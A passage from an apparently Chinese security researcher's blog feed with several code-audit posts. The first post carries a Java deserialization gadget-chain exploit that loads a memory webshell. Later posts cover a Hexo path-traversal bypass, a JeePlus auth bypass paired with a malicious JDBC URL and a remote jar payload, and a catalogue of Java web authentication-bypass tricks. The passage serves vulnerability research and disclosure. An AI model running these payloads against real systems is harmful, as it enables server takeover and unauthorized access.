class="hljs-title">setFieldValue</span><span class="hljs-params">(Object obj, String fieldName, Object value)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>        Field field = obj.getClass().getDeclaredField(fieldName);<br>        field.setAccessible(<span class="hljs-keyword">true</span>);<br>        field.set(obj, value);<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">byte</span>[] getTemplatePayload() <span class="hljs-keyword">throws</span> Exception &#123;<br>        ClassPool pool = ClassPool.getDefault();<br>        CtClass clazz = pool.makeClass(<span class="hljs-string">&quot;T&quot;</span>);<br>        CtClass superClass = pool.get(AbstractTranslet.class.getName());<br>        clazz.setSuperclass(superClass);<br>        CtConstructor constructor = <span class="hljs-keyword">new</span> CtConstructor(<span class="hljs-keyword">new</span> CtClass[]&#123;&#125;, clazz);<br>        constructor.setBody(<span class="hljs-string">&quot;Runtime.getRuntime().exec(\&quot;calc\&quot;);&quot;</span>);<br>        clazz.addConstructor(constructor);<br>        clazz.getClassFile().setMajorVersion(<span class="hljs-number">49</span>);<br>        <span class="hljs-keyword">return</span> clazz.toBytecode();<br>    &#125;<br><br>    <span class="hljs-keyword">static</span> &#123;<br><br>    &#125;<br><br>     <span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">modifyTreeMapKey</span><span class="hljs-params">(Object node, String targetKey, Object newKey)</span></span><br><span class="hljs-function">            <span class="hljs-keyword">throws</span> NoSuchFieldException, IllegalAccessException </span>&#123;<br>        <span class="hljs-keyword">if</span> (node == <span class="hljs-keyword">null</span>) &#123;<br>            <span class="hljs-keyword">return</span>;<br>        &#125;<br><br>        <span class="hljs-comment">// 获取节点的左子节点、右子节点和键</span><br>        Field leftField = node.getClass().getDeclaredField(<span class="hljs-string">&quot;left&quot;</span>);<br>        Field rightField = node.getClass().getDeclaredField(<span class="hljs-string">&quot;right&quot;</span>);<br>        Field keyField = node.getClass().getDeclaredField(<span class="hljs-string">&quot;key&quot;</span>);<br><br>        leftField.setAccessible(<span class="hljs-keyword">true</span>);<br>        rightField.setAccessible(<span class="hljs-keyword">true</span>);<br>        keyField.setAccessible(<span class="hljs-keyword">true</span>);<br><br>        Object leftNode = leftField.get(node);<br>        Object rightNode = rightField.get(node);<br>        String key = (String) keyField.get(node);<br><br>        <span class="hljs-comment">// 如果找到目标键，将其修改为新键</span><br>        <span class="hljs-keyword">if</span> (targetKey.equals(key)) &#123;<br>            keyField.set(node, newKey);<br>        &#125;<br><br>        <span class="hljs-comment">// 递归遍历左子树和右子树</span><br>        modifyTreeMapKey(leftNode, targetKey, newKey);<br>        modifyTreeMapKey(rightNode, targetKey, newKey);<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">byte</span>[] getData() <span class="hljs-keyword">throws</span> Exception &#123;<br>        CtClass ctClass = ClassPool.getDefault().get(<span class="hljs-string">&quot;com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode&quot;</span>);<br>        CtMethod writeReplace = ctClass.getDeclaredMethod(<span class="hljs-string">&quot;writeReplace&quot;</span>);<br>        ctClass.removeMethod(writeReplace);<br>        ctClass.toClass();<br>        <span class="hljs-comment">//Attck.evil是base64编码后的内存马</span><br>        <span class="hljs-keyword">byte</span>[] code = Base64.getDecoder().decode(Attck.evil);<br>        TemplatesImpl obj = <span class="hljs-keyword">new</span> TemplatesImpl();<br>        setFieldValue(obj, <span class="hljs-string">&quot;_bytecodes&quot;</span>, <span class="hljs-keyword">new</span> <span class="hljs-keyword">byte</span>[][]&#123;code&#125;);<br>        setFieldValue(obj, <span class="hljs-string">&quot;_name&quot;</span>, <span class="hljs-string">&quot;z3eyond&quot;</span>);<br>        setFieldValue(obj, <span class="hljs-string">&quot;_tfactory&quot;</span>, <span class="hljs-keyword">new</span> TransformerFactoryImpl());<br>        POJONode node = <span class="hljs-keyword">new</span> POJONode(obj);<br>        ClassComparator classComparator = <span class="hljs-keyword">new</span> ClassComparator(<span class="hljs-string">&quot;org.freehep.util.VersionComparator&quot;</span>);<br>        TreeBag treeBag = <span class="hljs-keyword">new</span> TreeBag(classComparator);<br>        treeBag.add(<span class="hljs-string">&quot;1&quot;</span>);<br>        Class clazz = treeBag.getClass();<br>        Class abstractBagClass = clazz.getSuperclass();<br>        Field mapField = abstractBagClass.getDeclaredField(<span class="hljs-string">&quot;map&quot;</span>);<br>        mapField.setAccessible(<span class="hljs-keyword">true</span>);<br>        TreeMap&lt;Object,Integer&gt; treeMap = (TreeMap&lt;Object, Integer&gt;) mapField.get(treeBag);<br><br>        <span class="hljs-comment">// 使用反射获取 TreeMap 的根节点</span><br>        Field rootField = TreeMap.class.getDeclaredField(<span class="hljs-string">&quot;root&quot;</span>);<br>        rootField.setAccessible(<span class="hljs-keyword">true</span>);<br>        Object root = rootField.get(treeMap);<br>        modifyTreeMapKey(root,<span class="hljs-string">&quot;1&quot;</span>,node);<br><br>        ByteArrayOutputStream byteArrayOutputStream = <span class="hljs-keyword">new</span> ByteArrayOutputStream();<br>        ObjectOutputStream oos = <span class="hljs-keyword">new</span> ObjectOutputStream(byteArrayOutputStream);<br>        oos.writeObject(treeBag);<br>        <span class="hljs-keyword">return</span> byteArrayOutputStream.toByteArray();<br>    &#125;<br><br><span class="hljs-comment">//    public static void main(String[] args) throws Exception &#123;</span><br><span class="hljs-comment">//        System.out.println(Base64.getEncoder().encodeToString(getData()));</span><br><span class="hljs-comment">//    &#125;</span><br>&#125;<br><br><br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>By pass security check: do not allow ../ in path</title>
    <link href="/2023/07/25/102/"/>
    <url>/2023/07/25/102/</url>
    
    <content type="html"><![CDATA[<p>In January, Hexo fixed an arbitrary file read vulnerability:</p><figure class="highlight javascript"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs javascript"><span class="hljs-keyword">if</span> (!match) <span class="hljs-keyword">return</span>;<br><br> <span class="hljs-keyword">const</span> path = match[<span class="hljs-number">2</span>];<br><br> <span class="hljs-comment">// security check: do not allow ../ in path</span><br> <span class="hljs-keyword">if</span> (path.includes(<span class="hljs-string">&#x27;../&#x27;</span>)) <span class="hljs-keyword">return</span>;<br><br> lang = lang || extname(path).substring(<span class="hljs-number">1</span>);<br><br> <span class="hljs-keyword">const</span> src = join(ctx.source_dir, codeDir, path);<br><br> <span class="hljs-keyword">const</span> title = match[<span class="hljs-number">1</span>] || basename(path);<br> <span class="hljs-keyword">const</span> caption = <span class="hljs-string">`&lt;span&gt;<span class="hljs-subst">$&#123;title&#125;</span>&lt;/span&gt;&lt;a href=&quot;<span class="hljs-subst">$&#123;posix.join(ctx.config.root, codeDir, path)&#125;</span>&quot;&gt;view raw&lt;/a&gt;`</span>;<br><br> <span class="hljs-keyword">return</span> exists(src).then(<span class="hljs-function"><span class="hljs-params">exist</span> =&gt;</span> &#123;<br>   <span class="hljs-keyword">if</span> (exist) <span class="hljs-keyword">return</span> readFile(src);<br><br></code></pre></div></td></tr></table></figure><p>After a brief thought, I found that this safety check is incomplete,that is to say, I can bypass here</p><p>In windows, I can use <code>..\</code> bypass:</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&#123;% include_code ..\..\..\..\..\..\..\..\..\..\..\test.txt %&#125;<br></code></pre></div></td></tr></table></figure><p><img src="https://user-images.githubusercontent.com/45167857/256148281-e6e6cb26-dda9-4cbc-8257-a08e29810be2.png" alt="image"></p><p>The Linux file system does not support reading backslashes, theoretically it can be read through <code>..\/..\/..\/..\/..\/etc/passwd</code>,but I did not verify successfully on Linux. This operation was only verified successfully in the Windows environment.</p><p>So my suggestion is not only to do not allow <code>../</code> in path, also to do not allow <code>..\</code> in path, or change <code>../</code> to <code>..</code> and <code>file</code> protocol.</p><p>The issue is currently being resolved: <a href="https://github.com/hexojs/hexo/pull/5251">https://github.com/hexojs/hexo/pull/5251</a></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>JeePlus某版本JDBC反序列化</title>
    <link href="/2023/07/07/108/"/>
    <url>/2023/07/07/108/</url>
    
    <content type="html"><![CDATA[<p>首先在依赖中发现目标使用了shiro 1.4</p><p>已知下列请求不用鉴权</p><p><code>WEB-INF/classes/spring/spring-context-shiro.xml</code></p><p><img src="/images/108/E0JEhnhctTjUDJW6FY-qAS6EWYbrEtqMd03OIhNrAAE.png" alt="image"></p><p>在过滤器中，<code>&lt;url-pattern&gt;/**&lt;/url-pattern&gt;</code>配置会匹配所有url（匹配当前文件夹下文件和子文件夹下文件），比如<code>/api/aaa</code>、<code>/api/aaa/aaaa</code>、<code>/api/aaa/aaaa/aaaa.jsp</code>等等。众所周知，<code>../</code>可以跨目录，所以这种情况下可以使用<code>/api/../admin</code>来跨一级访问admin页面，因为<code>/api/../admin</code>也属于<code>/api/**</code>的范围。</p><p> </p><p>当<code>../</code>被过滤或者有waf拦截时，URL中有一个保留字符分号<code>(;)</code>，主要作为参数分隔符进行使用，对于<code>request.getRequestURL()</code>和<code>request.getRequestURI()</code>来说，使用<code>&amp;</code>连接的参数键值，对其来说是获取不到的，但是参数分隔符<code>(;)</code>及内容是可以获取到的，所以也可以使用<code>..;/</code>、<code>..;a/</code>等等来绕过。</p><p> </p><p>对于<code>..;/</code>的更多用法，可以看</p><p><a href="https://xz.aliyun.com/t/10799">https://xz.aliyun.com/t/10799</a></p><p> </p><p>回到配置文件中，有关<code>/**</code>的配置可以用作权限绕过</p><p> </p><p>在shiro中，<code>@RequiresPermissions</code>是用来分配用户角色权限的，接口会按照注解的值来决定哪个角色能访问当前请求</p><p><img src="/images/108/PG56-WdXdn-8IyhvXzxBJbWXXkjNmyKyEhIy44FZZH4.png" alt="image"></p><p>当包含有该注解配置了属性值时，即使利用了<code>..;</code>也会无法绕过，因为<code>..;</code>时shiro获取到的attribute是anon，与注解的属性不匹配：</p><p><img src="/images/108/nt0Bmj2LA4eyskikk2TCGVIy0CqFCe26g8OCrP4zfQ.png" alt="image"></p><p>所以要找没有RequiresPermissions注解的接口</p><p> </p><p>经过查找，发现<code>executeSql</code>方法没有RequiresPermissions注解</p><p>在<code>executeSql</code>方法中，sql语句会传进数据库进行执行</p><p><img src="/images/108/XtyPJ2bCpPR6gufw-wyATqfw91Z9GDSkyZ9tTU-X3eY.png" alt="image"></p><p>但是在传进执行前，<code>sysDataSource</code>对象会先被传进<code>MultiDBUtils</code>类的<code>init</code>方法进行初始化，以便后面的sql语句能够有引擎执行，<code>init</code>方法：</p><p><img src="/images/108/AYp6MWPcnj5XgIpArGa4V32znu1kqcgCnCmWJl5Cu0.png" alt="image"></p><p>初始化完成后就将dataSource设置为jdbc引擎以供后方的sql执行使用</p><p><img src="/images/108/3nzyIKvBiTeCTiMHz1kwuORKI9pAs81b0kDkHhZtt8.png" alt="image"></p><p>因为在executeSql方法中，SysDataSource对象是被当作参数来传进使用的</p><p><img src="/images/108/xu8DaXi45iqIYTyWrt7KDZZfNyf-PZKR0YS24RzMA.png" alt="image"></p><p>所以根据SysDataSource的各参数构造数据源即可利用</p><p><img src="/images/108/96opqNiG3BGZgNDwH9mU9d6ca5Whc0U9rCNMTkcZA.png" alt="image"></p><p>自带的mysql驱动刚好版本存在漏洞</p><p><img src="/images/108/uSkqDt3t4LPDY1qwsFak0j1zL7UG7gi74w5LlGeV40Y.png" alt="image"></p><p>利用链同样自带：</p><p>CbNOC、cc9、10、11</p><p><img src="/images/108/xcd83309Xe0HWJfmkLmHtS59uAYguimM2LRLHg5dtw.png" alt="image"></p><p>搭配权限绕过利用：</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">jdbc:mysql:<span class="hljs-comment">//127.0.0.1:3306/test?detectCustomCollations=true&amp;autoDeserialize=true&amp;dbUserName=yso_CommonsCollections11_calc</span><br></code></pre></div></td></tr></table></figure><p><img src="/images/108/toMKFrCRxO0KzLfAmpft3Uxlx5lcRUY5aMHpC6ITcc.png" alt="image"></p><h1 id="打内存马思路"><a href="#打内存马思路" class="headerlink" title="打内存马思路"></a><strong>打内存马思路</strong></h1><p>内存马打包成jar，放在开启web服务的服务器上，使用payload</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">yso_CommonsCollections11_remote-code-http:<span class="hljs-comment">//web/POC.jar#MemshellClass</span><br></code></pre></div></td></tr></table></figure><p>其中<a href="http://web/POC.jar#MemshellClass%E5%8F%AF%E6%8E%A7%EF%BC%8CMemshellClass%E6%98%AF%E5%86%85%E5%AD%98%E9%A9%AC%E7%B1%BB%E5%90%8D">http://web/POC.jar#MemshellClass可控，MemshellClass是内存马类名</a></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>javaweb中的权限绕过</title>
    <link href="/2023/07/05/101/"/>
    <url>/2023/07/05/101/</url>
    
    <content type="html"><![CDATA[<h1 id="场景一：身份信息绕过"><a href="#场景一：身份信息绕过" class="headerlink" title="场景一：身份信息绕过"></a><strong>场景一：身份信息绕过</strong></h1><h2 id="案例一：Cookie伪造"><a href="#案例一：Cookie伪造" class="headerlink" title="案例一：Cookie伪造"></a><strong>案例一：Cookie伪造</strong></h2><h3 id="1、身份伪造"><a href="#1、身份伪造" class="headerlink" title="1、身份伪造"></a><strong>1、身份伪造</strong></h3><p>此类绕过主要关注user信息是否可以构造</p><p>查看filter</p><p><img src="/images/101/kZqRxWiEqF3dzEIPPrPNZNuIRpTzFs8WZXUSvfQkyzA.png" alt="image"></p><p>首先查看byToken方法</p><p>获取参数token</p><p><img src="/images/101/qFnm4uzuwQQq96hGGSCetWW25VX5pMqLH7sVtxYqeGM.jpg" alt="image"></p><p>在getDataFromToken方法中对token进行解析，得到第一个.前面的base64编码参数并进行解码</p><p><img src="/images/101/b3n-ZFEkR61QiHMwDm-IGgDGgNBpJIFZJO8EUK92IEI.jpg" alt="image"></p><p>跟进cleanToken得出参数格式为base64编码的xxxx:xxxx（可能是多位），替换后变成xxx.xxxx</p><p><img src="/images/101/QzCaXbS4clzoB95GCTiyyK9ppfh-Y7ZyLsRPIZpgjYM.jpg" alt="image"></p><p>在解析完token后就将其封装到LoginUserHolder对象，流程可以看到这里是直接绑定身份信息，没有其他认证，那么只要往下看参数的格式，想办法构造即可绕过</p><p><img src="/images/101/iVhUoAqlhMeKtjSPAtHCit6TvoHpeHG5c4fY39zEkcs.jpg" alt="image"></p><p>为了查看token的格式，跟进set方法</p><p><img src="/images/101/KBwyxiTih4CwGs-kKBxMx2YYLhoXFZgKr9ERAhmkI34.jpg" alt="image"></p><p>LoginUser对象类型的参数，跟进LoginUser即可得到参数并构造</p><p><img src="/images/101/sKjqyPEFDK6u3WQB783tykSJbEOuTrZ9lNRN-M6J7fA.jpg" alt="image"></p><p>id=1&amp;dlh=2&amp;name=3&amp;orgid=4&amp;org=5</p><p>将其base64编码即可作为token参数传递：</p><p>token: aWQ9MSZkbGg9MiZuYW1lPTMmb3JnaWQ9NCZvcmc9NQ==:xxxxxxx</p><p>再看bySession方法</p><p><img src="/images/101/p9KHxqUI6i_BT29GMP6R7ckO1JqnIANRJdzz9JSrRF8.jpg" alt="image"></p><p>在decode方法中会先对参数做aes解密然后再使用json解析，由此得出参数是json格式，Aes密钥硬编码</p><p><img src="/images/101/aV94jcyftdGV8FbMPuHhLeJxdPKva6I6on1FELSFUtQ.jpg" alt="image"></p><p>这里比较简单，由于密钥硬编码，且知道了格式是json，直接用CipherUtil的加密方法对参数进行加密就行了，这个属于硬编码利用绕过</p><p><img src="/images/101/WJqFjCDUkcPz5k2VyZuu_kDTcm-ZQwO3pnk1AKlYqo.jpg" alt="image"></p><p>KEY_USERHOLDER_INFO: aWQ9MSZkbGg9MiZuYW1lPTMmb3JnaWQ9NCZvcmc9NQ==</p><h3 id="2、密钥硬编码"><a href="#2、密钥硬编码" class="headerlink" title="2、密钥硬编码"></a><strong>2、密钥硬编码</strong></h3><p>此类绕过关注点在于认证时使用了jwt之类的加密token认证，然后加密密钥硬编码在了代码或配置文件里，利用的前提需要跟进认证实现查看，如果只判断了解密后不为空token就可以使用那就是存在漏洞可以利用，经典案例：<a href="https://forum.butian.net/share/973">https://forum.butian.net/share/973</a> SpringBlade框架JWT认证缺陷漏洞、nacos硬编码漏洞</p><h2 id="案例二：Map的利用"><a href="#案例二：Map的利用" class="headerlink" title="案例二：Map的利用"></a><strong>案例二：Map的利用</strong></h2><p>此类绕过关注点在于put与get的条件判断。可以把attribute当成一个map集合，集合有k跟v两个参数，v是k的值。首先要了解假如是单纯的put，则属性是存在request域，request属性是一次性的。如果带上@SessionAttribute注解或者使用了getSession方法，就同时存在session域，session属性只有销毁或者重启才会失效，以下是attribute方法的利用</p><p> </p><p>首先看例子中（/index1）的判断，获取session域里user的属性是否为空，不为空就放行请求</p><p><img src="/images/101/hfgv9bvOzH7N7Xp5aSBgmbPbs-brSpjHqoP0so-C_Fk.jpg" alt="image"></p><p>这时候就可以查找user被set且可以未授权访问的地方，如图所示</p><p><img src="/images/101/ybgGIiSHmJpMMLGcYJZq-3D0tIn8w5j_4DTM_W7xSkY.jpg" alt="image"></p><p>当访问/index2时session域里就会写入一个user对象，访问请求会响应一个包含user信息的cookie</p><p><img src="/images/101/2_JPI8X5KKqZRGJsbf98AN6GVbO3NwWPEkix8OPkpfs.jpg" alt="image"></p><p>把cookie替换到请求，再访问一次index1，此时获取到的user不为空就会通过判断，放行请求</p><p><img src="/images/101/j7PdJHJQ7khLViyMSPNgxGGsOEGQNRWiRQH-bRAwZY4.jpg" alt="image"></p><h2 id="案例三：异常绕过"><a href="#案例三：异常绕过" class="headerlink" title="案例三：异常绕过"></a><strong>案例三：异常绕过</strong></h2><p>此类绕过是利用默认的布尔值以及catch模块的位置进行绕过</p><p>查看过滤器的实现，当buff返回true时就放行请求</p><p><img src="/images/101/hWXf1kE4EncSKraygDTyHjUcpbfC0rYJqBX7__JsCco.jpg" alt="image"></p><p>查看buff方法的实现，permi初始化是true</p><p><img src="/images/101/q6J8mRLyMrPadFojwTWmTvQzR5cg7IxDCf8TY06ZJEQ.jpg" alt="image"></p><p>注意此处try catch的位置</p><p><img src="/images/101/m5SBIsfGkv1O8rHKyU1z_7i0bvzSnu0X3ZKpIVV3Als.jpg" alt="image"></p><p>在try里，请求传入Req2Json.parse做json解析，当解析异常时就会直接走到catch位置，然后返回布尔值，因为初始化是true，所以返回的也是true。所以这个时候再找一个文件上传的的请求，json解析异常时返回true即可进行绕过。</p><h2 id="案例四：前端认证绕过"><a href="#案例四：前端认证绕过" class="headerlink" title="案例四：前端认证绕过"></a><strong>案例四：前端认证绕过</strong></h2><p>此类关注点在于前端解析后端的响应包，利用响应状态来进行绕过</p><p> </p><p>查看登录实现，在loginAction方法中，只是对验证账号密码后做出响应内容的处理，没有进一步的操作实现，相当于点击登录只会提示成功或失败，没有其他动作</p><p><img src="/images/101/WEpHL6PiKtIr_W60j8Yrse1-vlrIcgOXrDcdDTkjIJk.jpg" alt="image"></p><p>但是实际登录却的确有跳转的动作，在代码中无法看到登录后跳转的处理代码</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">针对这个问题有三个思路：<br><span class="hljs-number">1</span>、其他认证类<span class="hljs-built_in">filter</span>对/*请求有专门的响应判断；<br><span class="hljs-number">2</span>、其他认证类<span class="hljs-built_in">filter</span>对/*请求有专门的cookie判断<br><span class="hljs-number">3</span>、其他地方有针对这个登录做专门的响应判断<br></code></pre></div></td></tr></table></figure><p>但找了所有过滤器都找不到1和2的实现，从第三点入手，在登录口查看源代码找登录相关的流程，发现原来是在前端做了响应判断</p><p><img src="/images/101/YNgxGtjjEe22Kehrnwkq27TseNwAbpmxfpjG4V-G1rY.jpg" alt="image"></p><p>解析后端返回的响应，当login字段的值是true时就会将账号密码设置成cookie的值然后跳转到后台管理页面，所以此处只需要抓包改响应包里的login值为true即可绕过 </p><h1 id="场景二：配置绕过"><a href="#场景二：配置绕过" class="headerlink" title="场景二：配置绕过"></a><strong>场景二：配置绕过</strong></h1><h2 id="案例一：springboot-yml配置"><a href="#案例一：springboot-yml配置" class="headerlink" title="案例一：springboot yml配置"></a><strong>案例一：springboot yml配置</strong></h2><p>application.yml配置文件，有时候像图中有关拦截器的属性配置也可以利用，具体还是要看拦截器的实现。</p><p><img src="/images/101/AedKl0hCEhbG8hH6rJpf1ItCfRshMzh88F-1Xo5XbXY.jpg" alt="image"></p><p>在拦截器中会获取URI进行判断，当符合条件就放行请求</p><p><img src="/images/101/2egnskh0i5TLHLPRVYkQE5gW98BmW-yESHwecyQ5-Co.jpg" alt="image"></p><p>所以请求结尾加上<code>;.jpg</code>等即可绕过，低版本的springboot还可以利用/admin/../绕过（要注意的是假如是低版本的springboot（小于等于2.3.0.RELEASE），则<code>/**</code>可以利用，否则springboot无法匹配到路由）</p><h2 id="案例二：排除绕过"><a href="#案例二：排除绕过" class="headerlink" title="案例二：排除绕过"></a><strong>案例二：排除绕过</strong></h2><h3 id="1、白名单利用"><a href="#1、白名单利用" class="headerlink" title="1、白名单利用"></a><strong>1、白名单利用</strong></h3><p>此类绕过主要关注当配置了某些请求是校验白名单时，可以从处理这些请求的Action中查找漏洞。</p><p>查看处理所有<code>.do</code>接口的过滤器</p><p><img src="/images/101/CeZxNwXNQQGsU3jmdsMAm5UnsjJ2KezliuFzXTPpdLo.jpg" alt="image"></p><p>doFilter判断登录状态</p><p><img src="/images/101/FhIDdvcj-ob3LE7dkVCn1p66aVtc9q3WAxGMyCIV2mI.jpg" alt="image"></p><p>isPermitAdmin方法：</p><p><img src="/images/101/4gksbWgiOS77w2aZetP3DpY3O_2C721qmRYCOL6rPeY.jpg" alt="image"></p><p>这些接口中都存在注入，找到对应的类即可看到详情</p><h3 id="2、filter绕过"><a href="#2、filter绕过" class="headerlink" title="2、filter绕过"></a><strong>2、filter绕过</strong></h3><p>此类绕过是按照web.xml中filter的定义来进行利用，当配置了映射时，处理了该映射的filter以及servlet没有对请求做校验就可以直接访问，与白名单利用的手法大同小异</p><h2 id="案例三：权限管理"><a href="#案例三：权限管理" class="headerlink" title="案例三：权限管理"></a><strong>案例三：权限管理</strong></h2><h3 id="1、第三方组件、框架"><a href="#1、第三方组件、框架" class="headerlink" title="1、第三方组件、框架"></a><strong>1、第三方组件、框架</strong></h3><p>此类关注是类似shiro、低版本框架等绕过。</p><p>需要注意的是在shiro中，@RequiresPermissions是用来分配用户角色权限的，接口会按照注解的值来决定哪个角色能访问当前请求，如图</p><p><img src="/images/101/qD_cNE8orB-vMp2fvuEtaMQPH_FGQvtRgSDYF87JW_8.jpg" alt="image"></p><p>当包含有该注解时，即使利用了<code>..;</code>也会无法绕过，因为<code>..;</code>时shiro获取到的attribute是anon，与注解的属性不匹配</p><p><img src="/images/101/vFMA5VRuFYz3ZJYzdh9L3Q-7yzptmSwtUatGSVkuQew.jpg" alt="image"></p><p>所以要找没有RequiresPermissions之类的角色分配注解的接口才可以进行利用。</p><h3 id="2、自定义注解"><a href="#2、自定义注解" class="headerlink" title="2、自定义注解"></a><strong>2、自定义注解</strong></h3><p>有时候开发会自己写权限注解接口@interface，但此类注解实现还是会依赖WebMvcConfigurer添加拦截器，拦截实现一般在Interceptor的preHandle方法，所以此类关注点可以看有没有加特别注解的controller（如果有低权限的账号可以查看注解相关属性，进行越权利用，也可以具体看注解的实现，看是否存在可利用的组合漏洞），或者看preHandle里有无可利用的点，如图</p><p><img src="/images/101/pfk2cFvlYpLofvcJzepNn9ckNU9K-fdScWg97MwofMc.jpg" alt="image"></p><p>对应的是开发自实现的一个接口，注意required是true</p><p><img src="/images/101/izQyhPp2UPQ_5nD5q_d-TfTF0wi8OFGn4Cxup0MYiG0.jpg" alt="image"></p><p>现在找项目的拦截器，全局搜Interceptor，在preHandle方法中可以看到对请求的处理</p><p><img src="/images/101/HDO8wXYLpcMRr9_HO40Kt8QK4d_zjzjzw-v79eflSH4.jpg" alt="image"></p><p>可以看到preHandle方法里用到了刚刚的接口做权限判断，当处理当前请求的业务逻辑中存在@PassTokenAnno就会跳过登录认证，进行未授权访问</p><p><img src="/images/101/FZOaBih_8PaiB_aj6LeUaB0wylm5iQHrDk8aEYtkLqQ.jpg" alt="image"></p><h2 id="其他："><a href="#其他：" class="headerlink" title="其他："></a><strong>其他：</strong></h2><p>利用类似hop by hop逐跳之类特性跟系统里其他部分组合起来进行绕过，参考 BIG-IP认证绕过漏洞</p><h1 id="场景三：过滤绕过"><a href="#场景三：过滤绕过" class="headerlink" title="场景三：过滤绕过"></a><strong>场景三：过滤绕过</strong></h1><h2 id="案例一：条件判断"><a href="#案例一：条件判断" class="headerlink" title="案例一：条件判断"></a><strong>案例一：条件判断</strong></h2><h3 id="1、以xx结尾判断"><a href="#1、以xx结尾判断" class="headerlink" title="1、以xx结尾判断"></a><strong>1、以xx结尾判断</strong></h3><p>此类绕过主要关注条件中以xx为结尾的利用</p><p>查看Filter条件判断，在获取到URI后进入条件</p><p><img src="/images/101/MiThzWhwmzIUpZB-GCt3NoGKLNAk0pvevl_uFtpJpZM.jpg" alt="image"></p><p>当url以静态资源为结尾时就放行请求，所以URL后面加上;.jpg即可绕过登录</p><h3 id="2、以包含xx判断"><a href="#2、以包含xx判断" class="headerlink" title="2、以包含xx判断"></a><strong>2、以包含xx判断</strong></h3><p>该类绕过关注点在于判断参数是否包含xxxx，或者是xxxx来进行绕过</p><p> </p><p>查看认证过滤器UserAuthenticationFilter类</p><p><img src="/images/101/gJPv63mp9rhrwe-8Qk00s3bTpf7daCCdmpVFSl2ufBU.jpg" alt="image"></p><p>在过滤器中，初始化变量，将刚刚的白名单添加到fileTypeList</p><p><img src="/images/101/1YMK50KLipVQKRn0IuYNmTBMC_ydvH1ZbKPe1I02eAo.jpg" alt="image"></p><p>在dofilter中使用了request.getRequestURI();来做校验，当请求url里包含有白名单字符就会放行请求</p><p><img src="/images/101/ds9E-arLm9bq-MrstYz_xZ6fS9WNWpgxLLCnsFv2zbE.jpg" alt="image"></p><p>所以只要在URL结尾加上;.xx即可绕过</p><h2 id="案例二：正则匹配判断"><a href="#案例二：正则匹配判断" class="headerlink" title="案例二：正则匹配判断"></a><strong>案例二：正则匹配判断</strong></h2><h3 id="1、匹配返回true"><a href="#1、匹配返回true" class="headerlink" title="1、匹配返回true"></a><strong>1、匹配返回true</strong></h3><p>此类绕过关注点是match的用法，当匹配到目标时就返回true的利用</p><p>查看filter</p><p><img src="/images/101/Nn_K5QWyv9b3DE9kaxp3YwGY51ICRfijhvKQHLrFPQk.jpg" alt="image"></p><p>antMatchs方法中，只要访问的url中出现白名单的值就能符合条件</p><p><img src="/images/101/aXMa2hhX0vNNNve08sSQ-FZBwrXVNwTn0wK1EoYCGuE.jpg" alt="image"></p><p>excludesAntMatch白名单</p><p><img src="/images/101/KGEvneoJpwvZooBw-TWpPU2A9nRoLA16eTcXYS0EIXw.jpg" alt="image"></p><p><code>/**</code>（包括<code>/**/*.*</code>）的均可利用</p><h3 id="3、matcher特性绕过"><a href="#3、matcher特性绕过" class="headerlink" title="3、matcher特性绕过"></a><strong>3、matcher特性绕过</strong></h3><p>此类关注点在于在Java中的正则默认情况下<code>.</code>并不包含<code>\r</code>和<code>\n</code>字符来进行利用，参考CVE-2022-32532/CVE-2022-22978</p><p> </p><p> </p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>代码审计快速入门2023修改版</title>
    <link href="/2023/07/03/112/"/>
    <url>/2023/07/03/112/</url>
    
    <content type="html"><![CDATA[<p>PDF：<br><a href="/file/JAVA代码审计快速入门202307.pdf" download="/file/JAVA代码审计快速入门202307.pdf">代码审计总结_JAVA代码审计快速入门</a></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>PowerJob Remote Command/Code Execution</title>
    <link href="/2023/07/02/100/"/>
    <url>/2023/07/02/100/</url>
    
